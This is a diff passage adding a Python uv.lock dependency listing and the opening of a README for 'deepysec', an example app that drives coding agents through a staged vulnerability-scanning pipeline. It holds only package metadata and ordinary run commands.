"2026-06-30T07:16:03.723Z" }, + { url = "https://files.pythonhosted.org/packages/8f/97/6908094ac804115e65aedfd90f1b5fee4eebebd3f6c4cfc5419939267565/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ae50181a047c871561212bb97f7932a2d45fb53e947bd9b57ebad85b529cbc53", size = 383725, upload-time = "2026-06-30T07:16:05.305Z" }, + { url = "https://files.pythonhosted.org/packages/d1/9c/0d1fdc2e7aba23e290d603bc494e97bd205bae262ce33c6b32a69768ed5e/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc319e5a1de4b6913aac94bf6a2f9e847371e0a140a43dd4991db1a09bc2d504", size = 367255, upload-time = "2026-06-30T07:16:07.086Z" }, + { url = "https://files.pythonhosted.org/packages/c4/fe/f0209ca4a9ed074bc8acb44dfd0e81c3122e94c9689f5645b7973a866719/rpds_py-2026.6.3-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:e4316bf32babbed84e691e352faf967ce2f0f024174a8643c37c94a1080374fc", size = 379060, upload-time = "2026-06-30T07:16:08.525Z" }, + { url = "https://files.pythonhosted.org/packages/c6/8d/f1cc54c616b9d8897de8738aac148d20afca93f68187475fe194d09a71b9/rpds_py-2026.6.3-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8c6e5a2f750cc71c3e3b11d71661f21d6f9bc6cebc6564b1466417a1ec03ec77", size = 395960, upload-time = "2026-06-30T07:16:09.989Z" }, + { url = "https://files.pythonhosted.org/packages/fb/04/aafff00f73aeca2945f734f1d483c64ab8f472d0864ab02377fd8e89c3b2/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4470ce197d4090875cf6affbf1f853338387428df97c4fb7b7106317b8214698", size = 545356, upload-time = "2026-06-30T07:16:11.816Z" }, + { url = "https://files.pythonhosted.org/packages/fd/cc/e229663b9e4ddac5a4acbe9085dd80a71af2a5d356b8b39d6bff233f24b0/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea964164cc9afa72d4d9b23cc28dafae93693c0a53e0b42acbff15b22c3f9ddd", size = 612319, upload-time = "2026-06-30T07:16:13.586Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7a/8a0e6d3e6cd066af108b71b43122c3fe158dd9eb86acac626593a2582eb1/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:639c8929aa0afe81be836b04de888460d6bed38b9c54cfc18da8f6bfabf5af5d", size = 573508, upload-time = "2026-06-30T07:16:15.23Z" }, + { url = "https://files.pythonhosted.org/packages/87/03/2a69ab618a789cf6cf85c86bb844c62d090e700ab1a2aa676b3741b6c516/rpds_py-2026.6.3-cp314-cp314-win32.whl", hash = "sha256:882076c00c0a608b131187055ddc5ae29f2e7eaf870d6168980420d58528a5c8", size = 202504, upload-time = "2026-06-30T07:16:16.893Z" }, + { url = "https://files.pythonhosted.org/packages/85/62/a3892ba945f4e24c78f352e5de3c7620d8479f73f211406a97263d13c7d2/rpds_py-2026.6.3-cp314-cp314-win_amd64.whl", hash = "sha256:0be972be84cfcaf46c8c6edf690ca0f154ac17babf1f6a955a51579b34ad2dc5", size = 220380, upload-time = "2026-06-30T07:16:18.108Z" }, + { url = "https://files.pythonhosted.org/packages/3d/e7/c2bd44dc831931815ad11ebb5f430b5a0a4d3caa9de837107876c30c3432/rpds_py-2026.6.3-cp314-cp314-win_arm64.whl", hash = "sha256:2a9c6f195058cb45335e8cc3802745c603d716eb96bc9625950c1aac71c0c703", size = 215976, upload-time = "2026-06-30T07:16:19.654Z" }, + { url = "https://files.pythonhosted.org/packages/79/9c/fff7b74bce9a091ec9a012a03f9ff5f69364eaf9451060dfc4486da2ffdd/rpds_py-2026.6.3-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:f90938e92afda60266da758ee7d363447f7f0138c9559f9e1811629580582d90", size = 346840, upload-time = "2026-06-30T07:16:21.268Z" }, + { url = "https://files.pythonhosted.org/packages/e9/44/77bcb1168b33704908295533d27f10eb811e9e3e193e8993dc99572211d3/rpds_py-2026.6.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ec829541c45bca16e61c7ae50c20501f213605beb75d1aba91a6ee37fbbb56a4", size = 340282, upload-time = "2026-06-30T07:16:22.875Z" }, + { url = "https://files.pythonhosted.org/packages/87/3c/7a9081c7c9e645b39efe19e4ffbeccd80add246327cd9b888aecffd72317/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afd70d95892096cdb26f15a00c45907b17817577aa8d1c76b2dcc2788391f9e9", size = 370403, upload-time = "2026-06-30T07:16:24.415Z" }, + { url = "https://files.pythonhosted.org/packages/f7/69/af47021eb7dad6ff3396cb001c08f0f3c4d06c20253f75be6421a59fe6b7/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29dfa0533a5d4c94d4dfa1b694fcb56c9c63aad8330ffdd816fd225d0a7a162f", size = 376055, upload-time = "2026-06-30T07:16:26.111Z" }, + { url = "https://files.pythonhosted.org/packages/81/fc/a3bcf517084396a6dd258c592567a3c011ba4557f2fde23dceaf26e74f2e/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af05d726809bff6b141be124d4c7ce998f9c9c7f30edb1f46c07aa103d540b41", size = 494419, upload-time = "2026-06-30T07:16:27.596Z" }, + { url = "https://files.pythonhosted.org/packages/c9/eb/13d529d1788135425c7bf207f8463458ca5d92e43f3f701365b83e9dffc1/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9826217f048f620d9a712672818bf231442c1b35d96b227a07eabd11b4bb6945", size = 384848, upload-time = "2026-06-30T07:16:29.183Z" }, + { url = "https://files.pythonhosted.org/packages/8e/f4/b7ac49f30013aba8f7b9566b1dd07e81de95e708c1374b7bacc5b9bc5c9c/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:536bceea4fa4acf7e1c61da2b5786304367c816c8895be71b8f537c480b0ea1f", size = 371369, upload-time = "2026-06-30T07:16:30.912Z" }, + { url = "https://files.pythonhosted.org/packages/31/86/6260bafa622f788b07ddec0e52d810305c8b9b0b8c27f58a2ab04bf62b4f/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:bc0011654b91cc4fb2ae701bec0a0ba1e552c0714247fa7af6c59e0ccfa3a4e1", size = 379673, upload-time = "2026-06-30T07:16:32.486Z" }, + { url = "https://files.pythonhosted.org/packages/19/c3/03f1ee79a047b48daeca157c89a18509cde22b6b951d642b9b0af1be660a/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:539d75de9e0d536c84ff18dfeb805398e58227001ce09231a26a08b9aed1ee0e", size = 397500, upload-time = "2026-06-30T07:16:34.471Z" }, + { url = "https://files.pythonhosted.org/packages/f0/95/8ed0cd8c377dca12aea498f119fe639fc474d1461545c39d2b5872eb1c0f/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:166cf54d9f44fc6ceb53c7860258dde44a81406646de79f8ed3234fca3b6e538", size = 545978, upload-time = "2026-06-30T07:16:36.45Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f2/0eb57f0eaa83f8fc152a7e03de968ab77e1f00732bebc892b190c6eebde7/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:d34c20167764fbcf927194d532dd7e0c56772f0a5f943fa5ef9e9afbba8fb9db", size = 613350, upload-time = "2026-06-30T07:16:38.213Z" }, + { url = "https://files.pythonhosted.org/packages/5b/de/e0674bdbc3ef7634989b3f854c3f34bc1f587d36e5bfdc5c378d57034619/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ea7bb13b7c9a29791f87a0387ba7d3ad3a6d783d827e4d3f27b40a0ff44495e2", size = 576486, upload-time = "2026-06-30T07:16:39.797Z" }, + { url = "https://files.pythonhosted.org/packages/f2/f6/21101359743cd136ada781e8210a85769578422ba460672eea0e29739200/rpds_py-2026.6.3-cp314-cp314t-win32.whl", hash = "sha256:6de4744d05bd1aa1be4ed7ea1189e3979196808008113bbbf899a460966b925e", size = 201068, upload-time = "2026-06-30T07:16:41.316Z" }, + { url = "https://files.pythonhosted.org/packages/a6/b2/9574d4d44f7760c2aa32d92a0a4f41698e33f5b204a0bf5c9758f52c79d5/rpds_py-2026.6.3-cp314-cp314t-win_amd64.whl", hash = "sha256:c7b9a2f8f4d8e90af72571d3d495deebdd7e3c75451f5b41719aee166e940fc2", size = 220600, upload-time = "2026-06-30T07:16:43.091Z" }, + { url = "https://files.pythonhosted.org/packages/08/ae/f23a2697e6ee6340a578b0f136be6483657bef0c6f9497b752bb5c0964bb/rpds_py-2026.6.3-cp315-cp315-macosx_10_12_x86_64.whl", hash = "sha256:e059c5dde6452b44424bd1834557556c226b57781dee1227af23518459722b13", size = 344726, upload-time = "2026-06-30T07:16:44.5Z" }, + { url = "https://files.pythonhosted.org/packages/c3/63/e7b3a1a5358dd32c930a1062d8e15b67fd6e8922e81df9e91706d66ee5c8/rpds_py-2026.6.3-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2f7c26fbc5acd2522b95d4177fe4710ffd8e9b20529e703ffbf8db4d93903f05", size = 339587, upload-time = "2026-06-30T07:16:46.255Z" }, + { url = "https://files.pythonhosted.org/packages/ec/64/10a85681916ca55fffb91b0a211f84e34297c109243484dd6394660a8a7c/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3086b538543802f84c843911242db20447de00d8752dd0efc936dbcf02218ba", size = 369585, upload-time = "2026-06-30T07:16:48.101Z" }, + { url = "https://files.pythonhosted.org/packages/76/c2/baf95c7c38823e12ba34407c5f5767a89e5cf2233895e56f608167ae9493/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f2e5c5ee828d42cb11760761c0af6507927bec42d0ad5458f97c9203b054617", size = 375479, upload-time = "2026-06-30T07:16:49.93Z" }, + { url = "https://files.pythonhosted.org/packages/6a/94/0aad06c72d65101e11d33528d438cda99a39ce0da99466e156158f2541d3/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ed0c1e5d10cdc7135537988c74a0188da68e2f3c30813ba3744ab1e42e0480f9", size = 492418, upload-time = "2026-06-30T07:16:51.641Z" }, + { url = "https://files.pythonhosted.org/packages/b5/17/de3f5a479a1f056535d7489819639d8cd591ea6281d700390b43b1abd745/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c2642a7603ec0b16ed77da4555db3b4b472341904873788327c0b0d7b95f1bb", size = 384123, upload-time = "2026-06-30T07:16:53.622Z" }, + { url = "https://files.pythonhosted.org/packages/46/7d/bf09bd1b145bb2671c03e1e6d1ab8651858d90d8c7dfeadd85a37a934fd8/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e4320744c1ffdd95a603def63344bfab2d33edeab301c5007e7de9f9f5b3885", size = 367351, upload-time = "2026-06-30T07:16:55.241Z" }, + { url = "https://files.pythonhosted.org/packages/a3/ea/1bb734f314b8be319149ddee80b18bd41372bdcfbdf88d28131c0cd37719/rpds_py-2026.6.3-cp315-cp315-manylinux_2_31_riscv64.whl", hash = "sha256:a9f4645593036b81bbdb36b9c8e0ea0d1c3fee968c4d59db0344c14087ef143a", size = 378827, upload-time = "2026-06-30T07:16:56.841Z" }, + { url = "https://files.pythonhosted.org/packages/4b/93/d9611e5b25e26df9a3649813ed66193ace9347a7c7fc4ab7cf70e94851c0/rpds_py-2026.6.3-cp315-cp315-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e55d236be29255554da47abe5c577637db7c24a02b8b46f0ca9524c855801868", size = 395966, upload-time = "2026-06-30T07:16:58.557Z" }, + { url = "https://files.pythonhosted.org/packages/c3/cb/99d77e16e5534ae1d90629bbe419ba6ee170833a6a85e3aa1cc41726fbbc/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:24e9c5386e16669b674a69c156c8eeefcb578f3b3397b713b08e6d60f3c7b187", size = 545680, upload-time = "2026-06-30T07:17:00.164Z" }, + { url = "https://files.pythonhosted.org/packages/59/15/11a29755f790cef7a2f755e8e14f4f0c33f39489e1893a632a2eee59672b/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:c60924535c75f1566b6eb75b5c31a48a43fef04fa2d0d201acbad8a9969c6107", size = 611853, upload-time = "2026-06-30T07:17:01.962Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/0c27547e21644da938fb530f7e1a8148dd24d02db07e7a5f2567a17ce710/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:38a2fea2787428f811719ceb9114cb78964a3138838320c29ac39526c79c16ba", size = 573715, upload-time = "2026-06-30T07:17:03.693Z" }, + { url = "https://files.pythonhosted.org/packages/29/71/4d8fcf700931815594bce892255bbd973b94efaf0fc1932b0590df18d886/rpds_py-2026.6.3-cp315-cp315-win32.whl", hash = "sha256:d483fe17f01ad64b7bf7cc38fcefff1ca9fb83f8c2b2542b68f97ffe0611b369", size = 202864, upload-time = "2026-06-30T07:17:05.746Z" }, + { url = "https://files.pythonhosted.org/packages/eb/62/b577562de0edbb55b2be85ce5fd09c33e386b9b13eee09833af4240fd5c4/rpds_py-2026.6.3-cp315-cp315-win_amd64.whl", hash = "sha256:67e3a721ffc5d8d2210d3671872298c4a84e4b8035cfe42ffd7cde35d772b146", size = 220430, upload-time = "2026-06-30T07:17:07.471Z" }, + { url = "https://files.pythonhosted.org/packages/c8/95/d6d0b2509825141eef60669a5739eec88dbc6a48053d6c92993a5704defe/rpds_py-2026.6.3-cp315-cp315-win_arm64.whl", hash = "sha256:6e84adbcf4bf841aed8116a8264b9f50b4cb3e7bd89b516122e616ac56ca269e", size = 215877, upload-time = "2026-06-30T07:17:09.008Z" }, + { url = "https://files.pythonhosted.org/packages/b7/bf/f3ea278f0afd615c1d0f19cb69043a41526e2bb600c2b536eb192218eb27/rpds_py-2026.6.3-cp315-cp315t-macosx_10_12_x86_64.whl", hash = "sha256:ae6dd8f10bd17aad820876d24caec9efdafd80a318d16c0a48edb5e136902c6b", size = 346933, upload-time = "2026-06-30T07:17:10.762Z" }, + { url = "https://files.pythonhosted.org/packages/9d/29/9907bdf1c5346763cf10b7f6852aad86652168c259def904cbe0082c5864/rpds_py-2026.6.3-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:bdbd97738551fca3917c1bd7188bec1920bb520104f28e7e1007f9ceb17b7690", size = 340274, upload-time = "2026-06-30T07:17:12.266Z" }, + { url = "https://files.pythonhosted.org/packages/6f/2c/8e03767b5778ef25cebf74a7a91a2c3806f8eced4c92cb7406bbe060756d/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b95977e7211527ab0ba576e286d023389fbeeb32a6b7b771665d333c60e5342", size = 370763, upload-time = "2026-06-30T07:17:14.107Z" }, + { url = "https://files.pythonhosted.org/packages/2e/e1/df2a7e1ba2efd796af26194250b8d42c821b46592311595162af9ef0528d/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d15fde0e6fb0d88a60d221204873743e5d9f0b7d29165e62cd86d0413ad74ba6", size = 376467, upload-time = "2026-06-30T07:17:15.76Z" }, + { url = "https://files.pythonhosted.org/packages/6b/de/8a0814d1946af29cb068fb259aa8622f856df1d0bab58429448726b537f5/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a136d453475ac0fcbda502ef1e6504bd28d6d904700915d278deeab0d00fe140", size = 496689, upload-time = "2026-06-30T07:17:17.308Z" }, + { url = "https://files.pythonhosted.org/packages/df/f3/f19e0c852ba13694f5a79f3b719331051573cb5693feacf8a88ffffc3a71/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f826877d462181e5eb1c26a0026b8d0cab05d99844ecb6d8bf3627a2ca0c0442", size = 385340, upload-time = "2026-06-30T07:17:18.928Z" }, + { url = "https://files.pythonhosted.org/packages/e2/ae/7ec3a9d2d4351f99e37bcb06b6b6f954512646bfdbf9742e1de727865daf/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:79486287de1730dbaff3dbd124d0ca4d2ef7f9d29bf2544f1f93c09b5bcbbd12", size = 372179, upload-time = "2026-06-30T07:17:20.539Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ac/9cee911dff2aaa9a5a8354f6610bf2e6a616de9197c5fff4f54f82585f1e/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_31_riscv64.whl", hash = "sha256:808345f53cb952433ca2816f1604ff3515608a81784954f38d4452acfe8e61d5", size = 379993, upload-time = "2026-06-30T07:17:22.212Z" }, + { url = "https://files.pythonhosted.org/packages/83/6b/7c2a07ba88d1e9a936612f7a5d067467ed03d971d5a06f7d309dff044a7e/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1967debc37f64f2c4dc90a7f563aec558b471966e12adcac4e1c4240496b6ebf", size = 398909, upload-time = "2026-06-30T07:17:23.66Z" }, + { url = "https://files.pythonhosted.org/packages/97/0b/776ffcb66783637b0031f6d58d6fb55913c8b5abf00aeecd46bf933fb477/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:f0840b5b17057f7fd918b76183a4b5a0635f43e14eb2ce60dce1d4ee4707ea00", size = 546584, upload-time = "2026-06-30T07:17:25.264Z" }, + { url = "https://files.pythonhosted.org/packages/55/33/ba3bc04d7092bd553c9b2b195624992d2cc4f3de1f380b7b93cbee67bd79/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:faa679d19a6696fd54259ad321251ad77a13e70e03dd834daa762a44fb6196ef", size = 614357, upload-time = "2026-06-30T07:17:26.888Z" }, + { url = "https://files.pythonhosted.org/packages/8b/71/14edf065f04630b1a8472f7653cad03f6c478bcf95ea0e6aed55451e33ea/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:23a439f31ccbeff1574e24889128821d1f7917470e830cf6544dced1c662262a", size = 576533, upload-time = "2026-06-30T07:17:28.546Z" }, + { url = "https://files.pythonhosted.org/packages/ba/76/65002b08596c389105720a8c0d22298b8dc25a4baf89b2ce431343c8b1de/rpds_py-2026.6.3-cp315-cp315t-win32.whl", hash = "sha256:913ca42ccad3f8cc6e292b587ae8ae49c8c823e5dce51a736252fc7c7cdfa577", size = 201204, upload-time = "2026-06-30T07:17:30.193Z" }, + { url = "https://files.pythonhosted.org/packages/8c/97/d855d6b3c322d1f27e26f5241c42016b56cf01377ea8ed348285f54652f0/rpds_py-2026.6.3-cp315-cp315t-win_amd64.whl", hash = "sha256:ae3d4fe8c0b9213624fdce7279d70e3b148b682ca20719ebd193a23ebfa47324", size = 220719, upload-time = "2026-06-30T07:17:31.788Z" }, +] + +[[package]] +name = "sniffio" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372, upload-time = "2024-02-25T23:20:04.057Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" }, +] + +[[package]] +name = "sse-starlette" +version = "3.4.11" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "starlette" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2b/54/6767bb789b2f2fed6e0f953df949cd39dc263a384c1b65a95232598621d6/sse_starlette-3.4.11.tar.gz", hash = "sha256:1bae716c02f3e6f294be41ff333220692dae7c3cbab077c900f159676719dade", size = 34972, upload-time = "2026-09-05T12:11:04.607Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/6a/2ba3ed4a69babf3afdddf7d8314a48d87562c0a442206bbc2a1b50d5efc0/sse_starlette-3.4.11-py3-none-any.whl", hash = "sha256:c7b2244bdff016fe7f64e10075e89a3e6bbf899649cc89b0fe884b5545042453", size = 17122, upload-time = "2026-09-05T12:11:03.195Z" }, +] + +[[package]] +name = "starlette" +version = "1.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7b/2b/3850dc6bf7ef71b088962eba31dafc6cffd2f96e577ebb0bb316df96da3e/starlette-1.7.0.tar.gz", hash = "sha256:c79f74ea63cff761804fbbfb182f1e0b440c2d07b164d24700c5a1bab5d6ff5d", size = 2736246, upload-time = "2026-09-23T07:30:26.35Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/d6/1ec1b290f9e0fb067899b61e1d37a30c923068bad260b216dbe37a7d2967/starlette-1.7.0-py3-none-any.whl", hash = "sha256:67f8e99895493dd2911a03f11314af6ceebeae4e704bb9f43dfc6a9db151c93e", size = 78980, upload-time = "2026-09-23T07:30:24.567Z" }, +] + +[[package]] +name = "truststore" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/26/b09b8010994eccc3c09092e6b34058f36a460eea2d4c3e8b910c695975a0/typing_inspection-0.4.4.tar.gz", hash = "sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47", size = 76928, upload-time = "2026-08-12T12:37:25.997Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/81/4add07e5172b7ac40d8ed5ff580409a7801a4fe26d529bdd915401dabfbe/typing_inspection-0.4.4-py3-none-any.whl", hash = "sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147", size = 14750, upload-time = "2026-08-12T12:37:24.648Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.54.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/da/34/30e9280707135d2cfc589dfff3cb796bd07a3aeb1a3e415ba09dd89d7bb4/uvicorn-0.54.0.tar.gz", hash = "sha256:a2e33cbfaa0306f8e6b0c13e0cb89d7d7a2da3e62b90c66e18c33d9807b28620", size = 112283, upload-time = "2026-09-25T06:52:37.601Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0c/b54a4fdd7f90a3af8b02ebc9ce6712c2c208b7926a2f7bad95c33ebbe943/uvicorn-0.54.0-py3-none-any.whl", hash = "sha256:505bdb0f318731d45f1f712071fc781a8981f6847a31c902c9f5e652d4f67faf", size = 87427, upload-time = "2026-09-25T06:52:35.829Z" }, +] + +[[package]] +name = "vercel-headers" +version = "0.7.2" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } + +[[package]] +name = "vercel-internal-core" +version = "0.2.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, +] + +[[package]] +name = "vercel-oidc" +version = "0.9.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, + { name = "vercel-headers" }, +] + +[[package]] +name = "vercel-sandbox" +version = "0.7.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2", extra = ["ws"] }, + { name = "pydantic" }, + { name = "vercel-internal-core" }, + { name = "vercel-oidc" }, +] + +[[package]] +name = "wsproto" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/79/12135bdf8b9c9367b8701c2c19a14c913c120b882d50b014ca0d38083c2c/wsproto-1.3.2.tar.gz", hash = "sha256:b86885dcf294e15204919950f666e06ffc6c7c114ca900b060d6e16293528294", size = 50116, upload-time = "2025-11-20T18:18:01.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/f5/10b68b7b1544245097b2a1b8238f66f2fc6dcaeb24ba5d917f52bd2eed4f/wsproto-1.3.2-py3-none-any.whl", hash = "sha256:61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584", size = 24405, upload-time = "2025-11-20T18:18:00.454Z" }, +] diff --git a/examples/apps/deepysec/README.md b/examples/apps/deepysec/README.md new file mode 100644 index 00000000..13be3269 --- /dev/null +++ b/examples/apps/deepysec/README.md @@ -0,0 +1,162 @@ +# deepysec — deepsec, rebuilt on ai.harnesses + +[vercel-labs/deepsec](https://github.com/vercel-labs/deepsec) is an +agent-powered vulnerability scanner: cheap regexes decide *what to look at*, +expensive coding agents decide *whether it is real*. Of its 36k lines, about +a quarter exists only because there was no library to drive the agents — +three vendor adapters, an OS sandbox around the CLI, a work queue, JSON +repair loops, a tarball-upload-bootstrap-snapshot-download pipeline for +running in microVMs. + +This example rebuilds the same funnel, stage for stage, and hands that +quarter to `ai.harnesses`. It is an MVP: the flow is deepsec's, the data on +disk is deepsec's, the feature surface is the minimum that shows the shape. + +``` +scan ──> process ──> revalidate ──> enrich ──> export +(regex) (agent) (agent) (git) (json/md) +``` + +Five idempotent stages over one append-only store. Each reads the store, +adds to it, writes it back; none overwrites another's output. Re-running a +stage merges, so a run survives Ctrl-C, a crash, or an empty balance, and +picks up where it stopped. + +## Run it + +```bash +cd examples/apps/deepysec +uv run python -m deepysec all --root path/to/repo +``` + +That is scan → process → revalidate → enrich → export against a repository, +with your own `claude` login, and a report in +`path/to/repo/.deepsec/data//reports/`. A small deliberately vulnerable +app to try it on is not part of this repository; the harness-sdk repository +keeps one in `examples/deepysec/fixtures/vulnerable-app`. Each stage +is also its own command, with deepsec's flags where they still mean +something: + +```bash +uv run python -m deepysec scan --root path/to/repo +uv run python -m deepysec process --root path/to/repo --agent codex --batch-size 3 --concurrency 4 --limit 12 +uv run python -m deepysec revalidate --root path/to/repo --min-severity HIGH +uv run python -m deepysec enrich --root path/to/repo +uv run python -m deepysec export --root path/to/repo +uv run python -m deepysec status --root path/to/repo +``` + +`--agent claude` (default) or `--agent codex`; `--model` picks the model. +Both drive your own installation and its login; `--gateway` routes either +through the Vercel AI Gateway instead, with `AI_GATEWAY_API_KEY`. Records are per file, so a file processed +by claude and then by codex carries 